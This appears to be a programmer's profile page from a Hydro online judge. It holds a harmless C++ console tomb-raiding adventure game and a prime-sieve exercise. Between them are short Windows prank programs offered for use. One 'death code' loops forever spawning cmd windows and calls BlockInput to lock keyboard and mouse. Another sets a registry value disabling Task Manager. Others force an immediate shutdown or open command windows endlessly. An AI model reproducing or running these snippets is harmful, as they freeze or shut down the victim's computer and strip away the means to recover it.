-
个人简介
盗墓传奇 1.1版本 【商店】更新商店功能,商品用银子兑换#include <bits/stdc++.h> #include <windows.h> #include <ctime> #include <limits> // 用于输入合法性校验 using namespace std; // 全局常量定义 const double DEFAULT_SLEEP_TIME = 1.2; const int DEFAULT_COLOR = 15; const int MAX_ITEMS = 10; // 最大道具数量 // 玩家属性结构体 struct Player { long long silver; // 银子 long long combat; // 战力 long long speed; // 速度 string name; // 玩家姓名 bool has_map; // 是否拥有大荒地图 bool has_eye; // 是否拥有神霄天目 bool has_yinyang; // 是否拥有阴阳轮转能力 string items[MAX_ITEMS];// 道具栏 int item_count; // 道具数量 }; // 商店道具结构体 struct ShopItem { string name; // 道具名称 long long price; // 价格 string desc; // 描述 }; // 全局玩家对象 Player player; // 商店道具列表 ShopItem shop_items[] = { {"千年人参", 800, "使用后战力+300"}, {"摸金符", 500, "使用后速度+200"}, {"大力丸", 300, "使用后战力+100"}, {"疾风靴", 400, "使用后速度+150"}, {"止血散", 200, "战斗失败后恢复100战力"} }; const int SHOP_ITEM_COUNT = sizeof(shop_items) / sizeof(ShopItem); // 清屏函数 void clean() { system("cls"); } // 睡眠函数(秒为单位) void sleep_seconds(double n) { n = n * 1000; Sleep(static_cast<DWORD>(n)); } // 设置控制台文字颜色 void set_color(short n) { SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE), n); } // 初始化随机数生成器 void init_random() { srand(static_cast<unsigned int>(time(0))); } // 生成指定范围的随机数 int random_int(int first, int second) { int min_val = min(first, second); int max_val = max(first, second); int range = max_val - min_val + 1; return rand() % range + min_val; } // 随机颜色输出提示信息 void print_random_color(const string& msg) { int color = random_int(9, 14); set_color(color); cout << msg << endl; set_color(DEFAULT_COLOR); // 恢复默认颜色 } // 显示玩家属性(保留函数,用于初始化时展示) void show_attributes() { set_color(11); cout << "================= 玩家属性 =================" << endl; set_color(DEFAULT_COLOR); printf("银子:%lld\t战力:%lld\t速度:%lld\n", player.silver, player.combat, player.speed); cout << "特殊能力:"; if (player.has_yinyang) cout << "阴阳轮转 "; if (player.has_eye) cout << "神霄天目 "; if (!player.has_yinyang && !player.has_eye) cout << "无"; cout << endl; cout << "持有道具:"; if (player.item_count == 0) { cout << "无"; } else { for (int i = 0; i < player.item_count; i++) { cout << player.items[i] << " "; } } cout << "\n===========================================\n\n"; } // 添加道具到道具栏 void add_item(const string& item_name) { if (player.item_count < MAX_ITEMS) { player.items[player.item_count++] = item_name; print_random_color("叮!获得道具:" + item_name); } else { set_color(12); cout << "道具栏已满,无法获得新道具!" << endl; set_color(DEFAULT_COLOR); } } // 使用道具(内部函数) void use_item_internal(int idx) { string item = player.items[idx]; if (item == "千年人参") { player.combat += 300; char msg[100]; sprintf(msg, "使用千年人参,战力+300!当前战力:%lld", player.combat); print_random_color(msg); } else if (item == "摸金符") { player.speed += 200; char msg[100]; sprintf(msg, "使用摸金符,速度+200!当前速度:%lld", player.speed); print_random_color(msg); } else if (item == "大力丸") { player.combat += 100; char msg[100]; sprintf(msg, "使用大力丸,战力+100!当前战力:%lld", player.combat); print_random_color(msg); } else if (item == "疾风靴") { player.speed += 150; char msg[100]; sprintf(msg, "使用疾风靴,速度+150!当前速度:%lld", player.speed); print_random_color(msg); } else if (item == "止血散") { player.combat += 100; char msg[100]; sprintf(msg, "使用止血散,战力+100!当前战力:%lld", player.combat); print_random_color(msg); } else if (item == "大荒地图") { set_color(12); cout << "大荒地图无法使用,是探索古墓的必备道具!" << endl; set_color(DEFAULT_COLOR); sleep_seconds(DEFAULT_SLEEP_TIME); return; } else { set_color(13); cout << "该道具暂时无法使用!" << endl; set_color(DEFAULT_COLOR); sleep_seconds(DEFAULT_SLEEP_TIME); return; } // 使用后移除道具 for (int i = idx; i < player.item_count - 1; i++) { player.items[i] = player.items[i+1]; } player.item_count--; print_random_color("道具已使用!"); sleep_seconds(DEFAULT_SLEEP_TIME); } // 道具管理(合并查看/使用) void item_management() { while (true) { clean(); set_color(13); cout << "\n\n\t\t【道具管理】\n\n"; set_color(DEFAULT_COLOR); // 显示玩家当前银子 cout << "当前银子:" << player.silver << "两\n\n"; // 显示道具列表 cout << "【我的道具】\n"; if (player.item_count == 0) { cout << "暂无道具\n"; } else { for (int i = 0; i < player.item_count; i++) { cout << i+1 << ". " << player.items[i] << endl; } } // 道具操作菜单 cout << "\n【操作选项】\n"; cout << "1. 使用道具\n"; cout << "2. 返回主菜单\n"; cout << "\n请选择操作(1-2):"; int choice; while (!(cin >> choice) || choice < 1 || choice > 2) { cin.clear(); cin.ignore(numeric_limits<streamsize>::max(), '\n'); set_color(12); cout << "输入无效!请输入1或2:"; set_color(DEFAULT_COLOR); } if (choice == 2) { break; // 返回主菜单 } // 使用道具 if (player.item_count == 0) { set_color(12); cout << "\n没有道具可使用!" << endl; set_color(DEFAULT_COLOR); sleep_seconds(DEFAULT_SLEEP_TIME); continue; } cout << "\n请选择要使用的道具编号(0返回):"; int item_choice; while (!(cin >> item_choice) || item_choice < 0 || item_choice > player.item_count) { cin.clear(); cin.ignore(numeric_limits<streamsize>::max(), '\n'); set_color(12); cout << "输入无效!请输入0-" << player.item_count << "之间的数字:"; set_color(DEFAULT_COLOR); } if (item_choice == 0) { continue; } use_item_internal(item_choice - 1); } } // 商店系统 void shop_system() { while (true) { clean(); set_color(10); cout << "\n\n\t\t【大荒杂货铺】\n\n"; set_color(DEFAULT_COLOR); // 显示玩家当前银子 cout << "当前银子:" << player.silver << "两\n\n"; // 显示商店道具 cout << "【出售道具】\n"; for (int i = 0; i < SHOP_ITEM_COUNT; i++) { cout << i+1 << ". " << shop_items[i].name << " - " << shop_items[i].price << "两" << " (" << shop_items[i].desc << ")\n"; } // 商店操作菜单 cout << "\n【操作选项】\n"; cout << SHOP_ITEM_COUNT + 1 << ". 返回主菜单\n"; cout << "\n请选择要购买的道具编号(" << SHOP_ITEM_COUNT + 1 << "返回):"; int choice; while (!(cin >> choice) || choice < 1 || choice > SHOP_ITEM_COUNT + 1) { cin.clear(); cin.ignore(numeric_limits<streamsize>::max(), '\n'); set_color(12); cout << "输入无效!请输入1-" << SHOP_ITEM_COUNT + 1 << "之间的数字:"; set_color(DEFAULT_COLOR); } if (choice == SHOP_ITEM_COUNT + 1) { break; // 返回主菜单 } // 购买道具 int item_idx = choice - 1; ShopItem& selected_item = shop_items[item_idx]; if (player.silver >= selected_item.price) { // 扣除银子 player.silver -= selected_item.price; char msg[100]; sprintf(msg, "花费%d两银子购买了%s!剩余银子:%lld", selected_item.price, selected_item.name.c_str(), player.silver); print_random_color(msg); // 添加道具到背包 add_item(selected_item.name); sleep_seconds(DEFAULT_SLEEP_TIME); } else { set_color(12); cout << "\n银子不足!购买" << selected_item.name << "需要" << selected_item.price << "两,你只有" << player.silver << "两。" << endl; set_color(DEFAULT_COLOR); sleep_seconds(DEFAULT_SLEEP_TIME); } } } // 显示主菜单(核心修改:新增商店选项,合并道具选项) int show_main_menu() { clean(); // 玩家属性固定显示在菜单上方 set_color(11); cout << "================= 玩家属性 =================" << endl; set_color(DEFAULT_COLOR); printf("银子:%lld\t战力:%lld\t速度:%lld\n", player.silver, player.combat, player.speed); cout << "特殊能力:"; if (player.has_yinyang) cout << "阴阳轮转 "; if (player.has_eye) cout << "神霄天目 "; if (!player.has_yinyang && !player.has_eye) cout << "无"; cout << "\n===========================================\n\n"; // 主菜单标题 set_color(14); cout << "\t\t【盗墓传奇 - 主菜单】\n\n"; set_color(DEFAULT_COLOR); // 菜单选项:新增商店,合并道具 cout << "1. 继续探索\n"; cout << "2. 道具管理(查看/使用)\n"; cout << "3. 商店购买\n"; cout << "4. 保存进度\n"; cout << "5. 加载进度\n"; cout << "6. 退出游戏\n"; cout << "\n请选择操作(1-6):"; int choice; // 输入合法性校验:1-6范围 while (!(cin >> choice) || choice < 1 || choice > 6) { cin.clear(); cin.ignore(numeric_limits<streamsize>::max(), '\n'); set_color(12); cout << "输入无效!请输入1-6之间的数字:"; set_color(DEFAULT_COLOR); } return choice; } // 保存进度 void save_progress() { ofstream save_file("save_data.txt"); if (save_file.is_open()) { save_file << player.name << endl; save_file << player.silver << " " << player.combat << " " << player.speed << endl; save_file << player.has_map << " " << player.has_eye << " " << player.has_yinyang << endl; save_file << player.item_count << endl; for (int i = 0; i < player.item_count; i++) { save_file << player.items[i] << endl; } save_file.close(); print_random_color("进度保存成功!"); } else { set_color(12); cout << "保存失败!" << endl; set_color(DEFAULT_COLOR); } sleep_seconds(DEFAULT_SLEEP_TIME); } // 加载进度 void load_progress() { ifstream load_file("save_data.txt"); if (load_file.is_open()) { player.item_count = 0; load_file >> player.name; load_file >> player.silver >> player.combat >> player.speed; load_file >> player.has_map >> player.has_eye >> player.has_yinyang; int item_num; load_file >> item_num; load_file.ignore(); for (int i = 0; i < item_num; i++) { string item; getline(load_file, item); if (player.item_count < MAX_ITEMS) { player.items[player.item_count++] = item; } } load_file.close(); print_random_color("进度加载成功!欢迎回来," + player.name + "!"); } else { set_color(12); cout << "没有找到存档文件!" << endl; set_color(DEFAULT_COLOR); } sleep_seconds(DEFAULT_SLEEP_TIME); } // 随机事件 - 遇到宝箱 void event_chest() { set_color(10); cout << "\n你发现了一个古老的宝箱!" << endl; sleep_seconds(DEFAULT_SLEEP_TIME); int reward_type = random_int(1, 3); if (reward_type == 1) { int silver_reward = random_int(500, 2000); player.silver += silver_reward; char msg[50]; sprintf(msg, "打开宝箱获得%d两银子!", silver_reward); print_random_color(msg); } else if (reward_type == 2) { int combat_reward = random_int(200, 800); player.combat += combat_reward; char msg[50]; sprintf(msg, "打开宝箱获得上古功法,战力+%d!", combat_reward); print_random_color(msg); } else { add_item("千年人参"); } sleep_seconds(DEFAULT_SLEEP_TIME); } // 随机事件 - 遇到怪物 void event_monster() { set_color(12); string monsters[] = {"尸蹩", "血尸", "粽子", "阴兵", "螭龙"}; string monster_name = monsters[random_int(0, 4)]; int monster_combat = random_int(300, 1500); cout << "\n危险!出现了" << monster_name << "!" << endl; cout << monster_name << "战力:" << monster_combat << endl; sleep_seconds(DEFAULT_SLEEP_TIME); cout << "\n选择:1.战斗 2.逃跑" << endl; int choice; while (!(cin >> choice) || choice < 1 || choice > 2) { cin.clear(); cin.ignore(numeric_limits<streamsize>::max(), '\n'); set_color(12); cout << "输入无效!请输入1或2:"; set_color(DEFAULT_COLOR); } if (choice == 1) { cout << "\n你与" << monster_name << "展开了战斗!" << endl; sleep_seconds(1.5); if (player.combat >= monster_combat) { set_color(10); cout << "战斗胜利!你击败了" << monster_name << endl; int silver_reward = random_int(300, 1000); player.silver += silver_reward; char msg[50]; sprintf(msg, "获得%d两银子!", silver_reward); print_random_color(msg); if (random_int(1, 3) == 1) { add_item("摸金符"); } } else { set_color(12); cout << "战斗失败!你被" << monster_name << "击败了!" << endl; player.silver -= 200; if (player.silver < 0) player.silver = 0; cout << "损失200两银子,剩余银子:" << player.silver << endl; // 检查是否有止血散 bool has_zhixue = false; int zhixue_idx = -1; for (int i = 0; i < player.item_count; i++) { if (player.items[i] == "止血散") { has_zhixue = true; zhixue_idx = i; break; } } if (has_zhixue) { // 自动使用止血散 player.combat += 100; if (player.combat < 0) player.combat = 0; // ======== 修复469行报错:替换to_string为sprintf ======== char zhixue_msg[100]; sprintf(zhixue_msg, "自动使用止血散,战力+100!当前战力:%lld", player.combat); print_random_color(zhixue_msg); // 移除止血散 for (int i = zhixue_idx; i < player.item_count - 1; i++) { player.items[i] = player.items[i+1]; } player.item_count--; } } } else { if (player.speed >= 50) { set_color(11); cout << "你成功逃跑了!" << endl; } else { set_color(12); cout << "速度太慢,未能逃脱!被" << monster_name << "攻击受伤!" << endl; player.combat -= 100; if (player.combat < 0) player.combat = 0; } } sleep_seconds(DEFAULT_SLEEP_TIME); } // 场景探索 void explore_scene() { clean(); set_color(9); cout << "\n\n\t\t【大荒古墓 - 探索中】\n\n"; set_color(DEFAULT_COLOR); string scenes[] = {"前殿", "甬道", "耳室", "主墓室", "藏宝室", "陪葬坑"}; string scene_name = scenes[random_int(0, 5)]; cout << "你进入了" << scene_name << endl; sleep_seconds(DEFAULT_SLEEP_TIME); int event_type = random_int(1, 4); switch(event_type) { case 1: event_chest(); break; case 2: event_monster(); break; case 3: set_color(14); cout << "\n你发现了古墓壁画,记载着上古秘闻!" << endl; player.speed += 50; char speed_msg[100]; sprintf(speed_msg, "速度+50!当前速度:%lld", player.speed); print_random_color(speed_msg); sleep_seconds(DEFAULT_SLEEP_TIME); break; default: set_color(13); cout << "\n这里空空如也,只有一些破碎的陶器。" << endl; sleep_seconds(DEFAULT_SLEEP_TIME); break; } cout << "\n探索结束,按回车键返回主菜单..."; cin.ignore(); cin.get(); } // 游戏初始化 void init_game() { player.silver = 0; player.combat = 0; player.speed = 0; player.has_map = false; player.has_eye = false; player.has_yinyang = false; player.item_count = 0; cout << endl; sleep_seconds(DEFAULT_SLEEP_TIME); set_color(DEFAULT_COLOR); cout << " 盗墓传奇\n"; sleep_seconds(1); cout << string(60, ' ') << "作者:xhyqj\n"; sleep_seconds(DEFAULT_SLEEP_TIME); cout << string(60, ' ') << "监制:元始天尊\n"; sleep_seconds(DEFAULT_SLEEP_TIME); cout << string(60, ' ') << "第一体验者:xhyqj\n"; sleep_seconds(DEFAULT_SLEEP_TIME); cout << string(60, ' ') << "支持者:xhmzw\n"; sleep_seconds(1.5); clean(); cout << "请输入你的姓名:"; cin >> player.name; cout << "\n欢迎" << player.name << "进入盗墓传奇!" << endl; sleep_seconds(DEFAULT_SLEEP_TIME); clean(); show_attributes(); sleep_seconds(DEFAULT_SLEEP_TIME); cout << "你收到了一封来自大荒的信,是否打开?(T or F)\n"; char choice; cin >> choice; cin.ignore(numeric_limits<streamsize>::max(), '\n'); if (choice == 'f' || choice == 'F') { sleep_seconds(DEFAULT_SLEEP_TIME); cout << "信突然变做了一张符文——窃魂符,将你拉入了阴间。\n"; sleep_seconds(DEFAULT_SLEEP_TIME); cout << "你看到了一个老者,是否上前?(T or F)\n"; cin >> choice; if (choice == 'f' || choice == 'F') { sleep_seconds(DEFAULT_SLEEP_TIME); cout << "老者突然化作一尊魔神……\n"; sleep_seconds(DEFAULT_SLEEP_TIME); cout << "顿时狂风四起,一道剑光闪过……\n"; sleep_seconds(1.5); clean(); int color = random_int(9, 14); set_color(color); sleep_seconds(0.3); cout << " ▉ ▉ ▉▉▉▉▉▉▉▉▉▉▉▉ ▉▉▉▉▉▉▉▉▉▉▉\n"; sleep_seconds(0.3); cout << " ▉▋ ▉▉▉▉▉▉▉▉▉ ▉ ▉ ▉\n"; sleep_seconds(0.3); cout << " ▉ ▉ ▉ ▉ ▉ ▉ ▉ ▉ ▉\n"; sleep_seconds(0.3); cout << " ▉ ▉ ▉ ▉▉▉▉▉ ▉ ▉ ▉\n"; sleep_seconds(0.3); cout << " ▉ ▉ ▉ ▉ ▉ ▉ ▉ ▉\n"; sleep_seconds(0.3); cout << " ▉ ▉ ▉ ▉ ▉ ▉ ▉ ▉▉ ▉\n"; sleep_seconds(0.3); cout << " ▉ ▉ ▉ ▉ ▉ ▉▋ ▉\n"; sleep_seconds(0.3); cout << " ▉ ▉ ▉ ▉ ▉ ▉ ▉ ▉ ▉\n"; sleep_seconds(0.3); cout << " ▉ ▉▉ ▉ ▉▉▉▉▉▉ ▉\n"; sleep_seconds(DEFAULT_SLEEP_TIME); sleep_seconds(1); set_color(DEFAULT_COLOR); cout << "\n游戏结束!\n"; exit(0); } else if (choice == 't' || choice == 'T') { sleep_seconds(DEFAULT_SLEEP_TIME); cout << "老者开口道:“大好机缘,竟被你一个毛头小子找到了!”\n"; sleep_seconds(DEFAULT_SLEEP_TIME); cout << "他扔过来一个袋子:“这是一些银子,还有一些功法。”\n"; sleep_seconds(DEFAULT_SLEEP_TIME); print_random_color("叮!银子加1000,战力加500,速度加100!"); player.silver += 1000; player.combat += 500; player.speed += 100; sleep_seconds(DEFAULT_SLEEP_TIME); cout << "突然,无尽的黑暗散去了,你又回来了。\n"; sleep_seconds(1.5); print_random_color("叮!宿主发生新变化:拥有“阴阳轮转”的能力,可以随意出入阴、阳间。"); player.has_yinyang = true; sleep_seconds(DEFAULT_SLEEP_TIME); print_random_color("叮!因看见了元始天尊之眼,获得第三只眼——神霄天目"); player.has_eye = true; sleep_seconds(DEFAULT_SLEEP_TIME); cout << "你打开了那个袋子,发现还有一张大荒地图。\n"; sleep_seconds(DEFAULT_SLEEP_TIME); print_random_color("叮!收获一张大荒地图!"); player.has_map = true; add_item("大荒地图"); sleep_seconds(DEFAULT_SLEEP_TIME); } else { cout << "输入无效,游戏结束!\n"; exit(0); } } else if (choice == 't' || choice == 'T') { sleep_seconds(DEFAULT_SLEEP_TIME); cout << "信中只有一些功法,一些银子,一张大荒地图.\n"; sleep_seconds(DEFAULT_SLEEP_TIME); print_random_color("叮!收获一张大荒地图!"); player.has_map = true; add_item("大荒地图"); sleep_seconds(DEFAULT_SLEEP_TIME); print_random_color("叮!银子加100,战力加500,速度加0!"); player.silver += 100; player.combat += 500; sleep_seconds(1.5); } else { cout << "输入无效,游戏结束!\n"; exit(0); } } // 游戏主循环 void game_loop() { while (true) { int choice = show_main_menu(); switch (choice) { case 1: // 继续探索 if (player.has_map) { explore_scene(); } else { set_color(12); cout << "没有大荒地图,无法探索古墓!" << endl; set_color(DEFAULT_COLOR); sleep_seconds(DEFAULT_SLEEP_TIME); } break; case 2: // 道具管理(查看/使用) item_management(); break; case 3: // 商店购买 shop_system(); break; case 4: // 保存进度 save_progress(); break; case 5: // 加载进度 load_progress(); break; case 6: // 退出游戏 clean(); set_color(14); cout << "\n感谢游玩盗墓传奇!\n"; set_color(DEFAULT_COLOR); exit(0); default: set_color(12); cout << "无效选择,请重新输入!" << endl; set_color(DEFAULT_COLOR); sleep_seconds(DEFAULT_SLEEP_TIME); break; } } } int main() { init_random(); init_game(); game_loop(); return 0; }死亡代码,请慎用!!!
//死亡代码(死于不死是随机的,这得看运气) #include<bits/stdc++.h> #include<windows.h> #include<Winable.h> using namespace std; int main() { std::srand(std::time(0)); int x = std::rand() % 2 + 1; if(x==1) { if(MessageBox(NULL,"你好,请接受死亡吧","死亡框",MB_OKCANCEL)==IDOK||MessageBox(NULL,"你好,请接受死亡吧","死亡框",MB_OKCANCEL)==IDCANCEL) { FreeConsole(); while(1) { system("start cmd"); BlockInput(true); } } else { system("mode con cols=50 lines=20"); string s="恭喜你!你以过关!"; system("color A"); for(int i=0;i<s.size();i++) cout<<s[i],Sleep(50); } } else { if(MessageBox(NULL,"你好,请接受死亡吧","死亡框",MB_OKCANCEL)==IDCANCEL||MessageBox(NULL,"你好,请接受死亡吧","死亡框",MB_OKCANCEL)==IDOK) { FreeConsole(); while(1) { system("start cmd"); BlockInput(true); } } else { system("mode con cols=50 lines=20"); string s="恭喜你!你以过关!"; system("color A"); for(int i=0;i<s.size();i++) cout<<s[i],Sleep(50); } } return 0; }禁用任务管理器
#include<bits/stdc++.h> #include<windows.h> #include<Winable.h> using namespace std; int main() { system("reg add \"HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System\" /v DisableTaskMgr /t REG_DWORD /d 1 /f"); }关闭计算机
#include<bits/stdc++.h> #include<windows.h> #include<Winable.h> using namespace std; int main() { system("shutdown -s -t 0"); }生成大量命令行窗口
#include<bits/stdc++.h> #include<windows.h> #include<Winable.h> using namespace std; int main() { while(1) system("start cmd"); }#include<bits/stdc++.h> using namespace std; int n,b[600100]; int f(int x) { int s=0; while(x) { s+=x%10; x/=10; } return s; } int main() { cin>>n; for(int i=2;i<=sqrt(n);i++) if(b[i]==0) for(int j=i+i;j<=n;j+=i) b[j]=1; for(int i=4;i<=n;i++) if(b[i]&&b[f(i)]) cout<<i<<endl; }图片区






灌水区
我的Hydro账号(在Hydro我的账号翻到最后有惊喜)
-
通过的题目
-
最近活动
This person is lazy and didn't join any contests or homework. -
最近编写的题解
题目标签
- 聪明人游戏
- 4
- 深搜 广搜
- 1
- 广搜
- 1
- 大沥2021
- 1
- dp
- 1
- 算法笔记
- 1